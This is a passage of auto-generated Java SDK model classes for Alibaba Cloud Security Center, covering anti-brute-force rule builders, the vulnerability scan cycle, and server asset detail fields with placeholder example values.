this.enableSmartRule = enableSmartRule;
return this;
}
/**
* <p>The threshold of logon failures that you specify.</p>
*
* <strong>example:</strong>
* <p>15</p>
*/
public Builder failCount(Integer failCount) {
this.failCount = failCount;
return this;
}
/**
* <p>The period of time during which logons from an account are not allowed. Unit: minutes.</p>
*
* <strong>example:</strong>
* <p>360</p>
*/
public Builder forbiddenTime(Integer forbiddenTime) {
this.forbiddenTime = forbiddenTime;
return this;
}
/**
* <p>The ID of the defense rule.</p>
*
* <strong>example:</strong>
* <p>1629</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The number of servers to which the defense rule is applied.</p>
*
* <strong>example:</strong>
* <p>3</p>
*/
public Builder machineCount(Integer machineCount) {
this.machineCount = machineCount;
return this;
}
/**
* <p>The name of the defense rule.</p>
*
* <strong>example:</strong>
* <p>AntiBruteForceRule01</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The types of protocols that the brute force cracking rule supports to intercept.</p>
*/
public Builder protocolType(ProtocolType protocolType) {
this.protocolType = protocolType;
return this;
}
/**
* <p>The period of time during which logon failures from an account are measured. Unit: minutes. If <strong>Span</strong> is set to 10, the defense rule takes effect when the logon failures measured within 10 minutes reaches the specified threshold. The IP address of attackers cannot be used to log on to the server in the specified period of time.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder span(Integer span) {
this.span = span;
return this;
}
/**
* <p>An array consisting of the UUIDs of servers to which the defense rule is applied.</p>
*/
public Builder uuidList(java.util.List<String> uuidList) {
this.uuidList = uuidList;
return this;
}
public Rules build() {
return new Rules(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAppVulScanCycleRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAppVulScanCycleRequest} extends {@link RequestModel}
*
* <p>DescribeAppVulScanCycleRequest</p>
*/
public class DescribeAppVulScanCycleRequest extends Request {
private DescribeAppVulScanCycleRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeAppVulScanCycleRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeAppVulScanCycleRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeAppVulScanCycleRequest request) {
super(request);
}
@Override
public DescribeAppVulScanCycleRequest build() {
return new DescribeAppVulScanCycleRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAppVulScanCycleResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAppVulScanCycleResponse} extends {@link TeaModel}
*
* <p>DescribeAppVulScanCycleResponse</p>
*/
public class DescribeAppVulScanCycleResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAppVulScanCycleResponseBody body;
private DescribeAppVulScanCycleResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAppVulScanCycleResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAppVulScanCycleResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAppVulScanCycleResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAppVulScanCycleResponseBody body);
@Override
DescribeAppVulScanCycleResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAppVulScanCycleResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAppVulScanCycleResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAppVulScanCycleResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAppVulScanCycleResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAppVulScanCycleResponse build() {
return new DescribeAppVulScanCycleResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAppVulScanCycleResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAppVulScanCycleResponseBody} extends {@link TeaModel}
*
* <p>DescribeAppVulScanCycleResponseBody</p>
*/
public class DescribeAppVulScanCycleResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Cycle")
private String cycle;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAppVulScanCycleResponseBody(Builder builder) {
this.cycle = builder.cycle;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAppVulScanCycleResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return cycle
*/
public String getCycle() {
return this.cycle;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private String cycle;
private String requestId;
private Builder() {
}
private Builder(DescribeAppVulScanCycleResponseBody model) {
this.cycle = model.cycle;
this.requestId = model.requestId;
}
/**
* <p>The scan cycle for application vulnerabilities.</p>
* <ul>
* <li>1week</li>
* <li>2weeks</li>
* <li>3days</li>
* </ul>
*
* <strong>example:</strong>
* <p>1week</p>
*/
public Builder cycle(String cycle) {
this.cycle = cycle;
return this;
}
/**
* <p>The ID of the request.</p>
*
* <strong>example:</strong>
* <p>934E6D2A-0123-5A99-88BA-80DC27634E22</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAppVulScanCycleResponseBody build() {
return new DescribeAppVulScanCycleResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidRequest} extends {@link RequestModel}
*
* <p>DescribeAssetDetailByUuidRequest</p>
*/
public class DescribeAssetDetailByUuidRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuid")
@com.aliyun.core.annotation.Validation(required = true)
private String uuid;
private DescribeAssetDetailByUuidRequest(Builder builder) {
super(builder);
this.lang = builder.lang;
this.sourceIp = builder.sourceIp;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetDetailByUuidRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder extends Request.Builder<DescribeAssetDetailByUuidRequest, Builder> {
private String lang;
private String sourceIp;
private String uuid;
private Builder() {
super();
}
private Builder(DescribeAssetDetailByUuidRequest request) {
super(request);
this.lang = request.lang;
this.sourceIp = request.sourceIp;
this.uuid = request.uuid;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>192.0.XX.XX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
/**
* <p>The UUID of the server to query.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeCloudCenterInstances~~">DescribeCloudCenterInstances</a> operation to query the UUIDs of servers.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>9e6cad93-a379-46fd-a701-9bbf02f4****</p>
*/
public Builder uuid(String uuid) {
this.putQueryParameter("Uuid", uuid);
this.uuid = uuid;
return this;
}
@Override
public DescribeAssetDetailByUuidRequest build() {
return new DescribeAssetDetailByUuidRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidResponse} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidResponse</p>
*/
public class DescribeAssetDetailByUuidResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAssetDetailByUuidResponseBody body;
private DescribeAssetDetailByUuidResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAssetDetailByUuidResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAssetDetailByUuidResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAssetDetailByUuidResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAssetDetailByUuidResponseBody body);
@Override
DescribeAssetDetailByUuidResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAssetDetailByUuidResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAssetDetailByUuidResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAssetDetailByUuidResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAssetDetailByUuidResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAssetDetailByUuidResponse build() {
return new DescribeAssetDetailByUuidResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAssetDetailByUuidResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAssetDetailByUuidResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidResponseBody</p>
*/
public class DescribeAssetDetailByUuidResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetDetail")
private AssetDetail assetDetail;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAssetDetailByUuidResponseBody(Builder builder) {
this.assetDetail = builder.assetDetail;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAssetDetailByUuidResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return assetDetail
*/
public AssetDetail getAssetDetail() {
return this.assetDetail;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private AssetDetail assetDetail;
private String requestId;
private Builder() {
}
private Builder(DescribeAssetDetailByUuidResponseBody model) {
this.assetDetail = model.assetDetail;
this.requestId = model.requestId;
}
/**
* <p>The details of the server.</p>
*/
public Builder assetDetail(AssetDetail assetDetail) {
this.assetDetail = assetDetail;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>39031E31-6BBA-5C99-A870-D807E78918CD</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAssetDetailByUuidResponseBody build() {
return new DescribeAssetDetailByUuidResponseBody(this);
}
}
/**
*
* {@link DescribeAssetDetailByUuidResponseBody} extends {@link TeaModel}
*
* <p>DescribeAssetDetailByUuidResponseBody</p>
*/
public static class AssetDetail extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AssetType")
private String assetType;
@com.aliyun.core.annotation.NameInMap("AuthModifyTime")
private Long authModifyTime;
@com.aliyun.core.annotation.NameInMap("AuthVersion")
private Integer authVersion;
@com.aliyun.core.annotation.NameInMap("Bind")
private Boolean bind;
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("ClientVersion")
private String clientVersion;
@com.aliyun.core.annotation.NameInMap("Cpu")
private Integer cpu;
@com.aliyun.core.annotation.NameInMap("CpuInfo")
private String cpuInfo;
@com.aliyun.core.annotation.NameInMap("CreateTime")
private Long createTime;
@com.aliyun.core.annotation.NameInMap("DiskInfoList")
private java.util.List<String> diskInfoList;
@com.aliyun.core.annotation.NameInMap("Flag")
private Integer flag;
@com.aliyun.core.annotation.NameInMap("GroupTrace")
private String groupTrace;
@com.aliyun.core.annotation.NameInMap("HostName")
private String hostName;
@com.aliyun.core.annotation.NameInMap("InstanceId")
private String instanceId;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("Ip")
private String ip;
@com.aliyun.core.annotation.NameInMap("IpList")
private java.util.List<String> ipList;
@com.aliyun.core.annotation.NameInMap("Kernel")
private String kernel;
@com.aliyun.core.annotation.NameInMap("MacList")
private java.util.List<String> macList;
@com.aliyun.core.annotation.NameInMap("Mem")
private Integer mem;
@com.aliyun.core.annotation.NameInMap("Memory")
private Long memory;
@com.aliyun.core.annotation.NameInMap("Os")
private String os;
@com.aliyun.core.annotation.NameInMap("OsDetail")
private String osDetail;
@com.aliyun.core.annotation.NameInMap("OsName")
private String osName;
@com.aliyun.core.annotation.NameInMap("Region")
private String region;
@com.aliyun.core.annotation.NameInMap("RegionId")
private String regionId;
@com.aliyun.core.annotation.NameInMap("RegionName")
private String regionName;
@com.aliyun.core.annotation.NameInMap("SysInfo")
private String sysInfo;
@com.aliyun.core.annotation.NameInMap("Tag")
private String tag;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
@com.aliyun.core.annotation.NameInMap("VpcInstanceId")
private String vpcInstanceId;
private AssetDetail(Builder builder) {
this.assetType = builder.assetType;
this.authModifyTime = builder.authModifyTime;
this.authVersion = builder.authVersion;
this.bind = builder.bind;
this.clientStatus = builder.clientStatus;
this.clientVersion = builder.clientVersion;
this.cpu = builder.cpu;
this.cpuInfo = builder.cpuInfo;
this.createTime = builder.createTime;
this.diskInfoList = builder.diskInfoList;
this.flag = builder.flag;
this.groupTrace = builder.groupTrace;
this.hostName = builder.hostName;
this.instanceId = builder.instanceId;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.ip = builder.ip;
this.ipList = builder.ipList;
this.kernel = builder.kernel;
this.macList = builder.macList;
this.mem = builder.mem;
this.memory = builder.memory;
this.os = builder.os;
this.osDetail = builder.osDetail;
this.osName = builder.osName;
this.region = builder.region;
this.regionId = builder.regionId;
this.regionName = builder.regionName;
this.sysInfo = builder.sysInfo;
this.tag = builder.tag;
this.uuid = builder.uuid;
this.vpcInstanceId = builder.vpcInstanceId;
}
public static Builder builder() {
return new Builder();
}
public static AssetDetail create() {
return builder().build();
}
/**
* @return assetType
*/
public String getAssetType() {
return this.assetType;
}
/**
* @return authModifyTime
*/
public Long getAuthModifyTime() {
return this.authModifyTime;
}
/**
* @return authVersion
*/
public Integer getAuthVersion() {
return this.authVersion;
}
/**
* @return bind
*/
public Boolean getBind() {
return this.bind;
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return clientVersion
*/
public String getClientVersion() {
return this.clientVersion;
}
/**
* @return cpu
*/
public Integer getCpu() {
return this.cpu;
}
/**
* @return cpuInfo
*/
public String getCpuInfo() {
return this.cpuInfo;
}
/**
* @return createTime
*/
public Long getCreateTime() {
return this.createTime;
}
/**
* @return diskInfoList
*/
public java.util.List<String> getDiskInfoList() {
return this.diskInfoList;
}
/**
* @return flag
*/
public Integer getFlag() {
return this.flag;
}
/**
* @return groupTrace
*/
public String getGroupTrace() {
return this.groupTrace;
}
/**
* @return hostName
*/
public String getHostName() {
return this.hostName;
}
/**
* @return instanceId
*/
public String getInstanceId() {
return this.instanceId;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return ip
*/
public String getIp() {
return this.ip;
}
/**
* @return ipList
*/
public java.util.List<String> getIpList() {
return this.ipList;
}
/**
* @return kernel
*/
public String getKernel() {
return this.kernel;
}
/**
* @return macList
*/
public java.util.List<String> getMacList() {
return this.macList;
}
/**
* @return mem
*/
public Integer getMem() {
return this.mem;
}
/**
* @return memory
*/
public Long getMemory() {
return this.memory;
}
/**
* @return os
*/
public String getOs() {
return this.os;
}
/**
* @return osDetail
*/
public String getOsDetail() {
return this.osDetail;
}
/**
* @return osName
*/
public String getOsName() {
return this.osName;
}
/**
* @return region
*/
public String getRegion() {
return this.region;
}
/**
* @return regionId
*/
public String getRegionId() {
return this.regionId;
}
/**
* @return regionName
*/
public String getRegionName() {
return this.regionName;
}
/**
* @return sysInfo
*/
public String getSysInfo() {
return this.sysInfo;
}
/**
* @return tag
*/
public String getTag() {
return this.tag;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
/**
* @return vpcInstanceId
*/
public String getVpcInstanceId() {
return this.vpcInstanceId;
}
public static final class Builder {
private String assetType;
private Long authModifyTime;
private Integer authVersion;
private Boolean bind;
private String clientStatus;
private String clientVersion;
private Integer cpu;
private String cpuInfo;
private Long createTime;
private java.util.List<String> diskInfoList;
private Integer flag;
private String groupTrace;
private String hostName;
private String instanceId;
private String instanceName;
private String internetIp;
private String intranetIp;
private String ip;
private java.util.List<String> ipList;
private String kernel;
private java.util.List<String> macList;
private Integer mem;
private Long memory;
private String os;
private String osDetail;
private String osName;
private String region;
private String regionId;
private String regionName;
private String sysInfo;
private String tag;
private String uuid;
private String vpcInstanceId;
private Builder() {
}
private Builder(AssetDetail model) {
this.assetType = model.assetType;
this.authModifyTime = model.authModifyTime;
this.authVersion = model.authVersion;
this.bind = model.bind;
this.clientStatus = model.clientStatus;
this.clientVersion = model.clientVersion;
this.cpu = model.cpu;
this.cpuInfo = model.cpuInfo;
this.createTime = model.createTime;
this.diskInfoList = model.diskInfoList;
this.flag = model.flag;
this.groupTrace = model.groupTrace;
this.hostName = model.hostName;
this.instanceId = model.instanceId;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.ip = model.ip;
this.ipList = model.ipList;
this.kernel = model.kernel;
this.macList = model.macList;
this.mem = model.mem;
this.memory = model.memory;
this.os = model.os;
this.osDetail = model.osDetail;
this.osName = model.osName;
this.region = model.region;
this.regionId = model.regionId;
this.regionName = model.regionName;
this.sysInfo = model.sysInfo;
this.tag = model.tag;
this.uuid = model.uuid;
this.vpcInstanceId = model.vpcInstanceId;
}
/**
* <p>The type of the asset. Valid values:</p>
* <ul>
* <li><strong>0</strong>: ECS instance</li>
* <li><strong>1</strong>: Server Load Balancer (SLB) instance</li>
* <li><strong>2</strong>: NAT gateway</li>
* <li><strong>3</strong>: ApsaraDB RDS database</li>
* <li><strong>4</strong>: ApsaraDB for MongoDB database</li>
* <li><strong>5</strong>: ApsaraDB for Redis database</li>
* <li><strong>6</strong>: image</li>
* <li><strong>7</strong>: container</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder assetType(String assetType) {
this.assetType = assetType;
return this;
}
/**
* <p>The timestamp when Security Center is authorized to protect the asset. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1627974044000</p>
*/
public Builder authModifyTime(Long authModifyTime) {
this.authModifyTime = authModifyTime;
return this;
}
/**
* <p>The edition of Security Center that is authorized to protect the asset. Valid values:</p>
* <ul>
* <li><strong>1</strong>: Basic edition (Unauthorized)</li>
* <li><strong>6</strong>: Anti-virus edition</li>
* <li><strong>5</strong>: Advanced edition</li>
* <li><strong>3</strong>: Enterprise edition</li>
* <li><strong>7</strong>: Ultimate edition</li>
* </ul>
*
* <strong>example:</strong>
* <p>7</p>
*/
public Builder authVersion(Integer authVersion) {
this.authVersion = authVersion;
return this;
}
/**
* <p>Indicates whether Security Center is authorized to protect the asset. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder bind(Boolean bind) {
this.bind = bind;
return this;
}
/**
* <p>The status of the Security Center agent. Valid values:</p>
* <ul>
* <li><strong>pause</strong>: The Security Center agent suspends protection for your server.</li>
* <li><strong>online</strong>: The Security Center agent is protecting your server.</li>
* <li><strong>offline</strong>: The Security Center agent does not protect your server.</li>
* </ul>
*
* <strong>example:</strong>
* <p>online</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The version of the Security Center agent.</p>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder clientVersion(String clientVersion) {
this.clientVersion = clientVersion;
return this;
}
/**
* <p>The number of CPU cores.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder cpu(Integer cpu) {
this.cpu = cpu;
return this;
}
/**
* <p>The details of the CPU.</p>
*
* <strong>example:</strong>
* <p>Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz</p>
*/
public Builder cpuInfo(String cpuInfo) {
this.cpuInfo = cpuInfo;
return this;
}
/**
* <p>The timestamp when Security Center records the details of the server. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1603863599000</p>
*/
public Builder createTime(Long createTime) {
this.createTime = createTime;
return this;
}
/**
* <p>An array that consists of the information about the disk.</p>
*/
public Builder diskInfoList(java.util.List<String> diskInfoList) {
this.diskInfoList = diskInfoList;
return this;
}
/**
* <p>Indicates whether the asset is provided by Alibaba Cloud. Valid values:</p>
* <ul>
* <li><strong>0</strong>: yes</li>
* <li><strong>1</strong>: no</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder flag(Integer flag) {
this.flag = flag;
return this;
}
/**
* <p>The group to which the server belongs. By default, the servers that are not grouped belong to the <strong>Default</strong> group.</p>
*
* <strong>example:</strong>
* <p>default</p>
*/
public Builder groupTrace(String groupTrace) {
this.groupTrace = groupTrace;
return this;
}
/**
* <p>The name of the host.</p>
*
* <strong>example:</strong>
* <p>qewrqwerqs****</p>
*/
public Builder hostName(String hostName) {
this.hostName = hostName;
return this;
}
/**
* <p>The ID of the server.</p>
*
* <strong>example:</strong>
* <p>i-uf6h7p2fgk6rkk0g****</p>
*/
public Builder instanceId(String instanceId) {
this.instanceId = instanceId;
return this;
}
/**
* <p>The name of the server.</p>
*
* <strong>example:</strong>
* <p>i-fasdfasdfadfafa****</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the server.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the server.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The IP address that is assigned to the Elastic Compute Service (ECS) instance.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder ip(String ip) {
this.ip = ip;
return this;
}
/**
* <p>The IP addresses of the server.</p>
*/
public Builder ipList(java.util.List<String> ipList) {
this.ipList = ipList;
return this;
}
/**
* <p>The kernel version of the operating system.</p>
*
* <strong>example:</strong>
* <p>4.18.0-80.11.2.el8_0.x86_64</p>
*/
public Builder kernel(String kernel) {
this.kernel = kernel;
return this;
}
/**
* <p>The media access control (MAC) addresses of the server.</p>
*/
public Builder macList(java.util.List<String> macList) {
this.macList = macList;
return this;
}
/**
* <p>The memory size of the server. Unit: GB.</p>
*
* <strong>example:</strong>
* <p>32</p>
*/
public Builder mem(Integer mem) {
this.mem = mem;
return this;
}
/**
* <p>The memory size of the server. Unit: MB.</p>
*
* <strong>example:</strong>
* <p>512</p>
*/
public Builder memory(Long memory) {
this.memory = memory;
return this;
}
/**
* <p>The operating system type of the server.</p>
*
* <strong>example:</strong>
* <p>linux</p>
*/
public Builder os(String os) {
this.os = os;
return this;
}
/**
* <p>The operating system version of the server.</p>
*
* <strong>example:</strong>
* <p>Linux 64bit</p>
*/
public Builder osDetail(String osDetail) {
this.osDetail = osDetail;
return this;
}
/**
* <p>The name of the operating system.</p>
*
* <strong>example:</strong>
* <ul>
* <li></li>
* </ul>
*/
public Builder osName(String osName) {
this.osName = osName;
return this;
}
/**
* <p>The region in which the server resides.</p>
*
* <strong>example:</strong>
* <p>cn-hangzhou-dg-a01</p>
*/
public Builder region(String region) {
this.region = region;
return this;
}
/**
* <p>The ID of the region in which the asset resides.</p>
*
* <strong>example:</strong>
* <p>cn-hanghzou</p>
*/
public Builder regionId(String regionId) {
this.regionId = regionId;
return this;
}
/**
* <p>The name of the region in which the server resides.</p>
*
* <strong>example:</strong>
* <p>China (Hohhot)</p>
*/
public Builder regionName(String regionName) {
this.regionName = regionName;
return this;
}
/**
* <p>The operating system information about the server.</p>
*
* <strong>example:</strong>
* <p>CentOS Linux 8.0.1905</p>
*/
public Builder sysInfo(String sysInfo) {
this.sysInfo = sysInfo;
return this;
}
/**
* <p>The tag that is added to the server.</p>
*
* <strong>example:</strong>
* <p>InternetIp</p>
*/
public Builder tag(String tag) {
this.tag = tag;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>9e6cad93-a379-46fd-a701-9bbf02f4****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
/**
* <p>The ID of the virtual private cloud (VPC) in which the server resides.</p>
*
* <strong>example:</strong>
* <p>vpc-bp1fs3bwonlfq503w****</p>
*/
public Builder vpcInstanceId(String vpcInstanceId) {
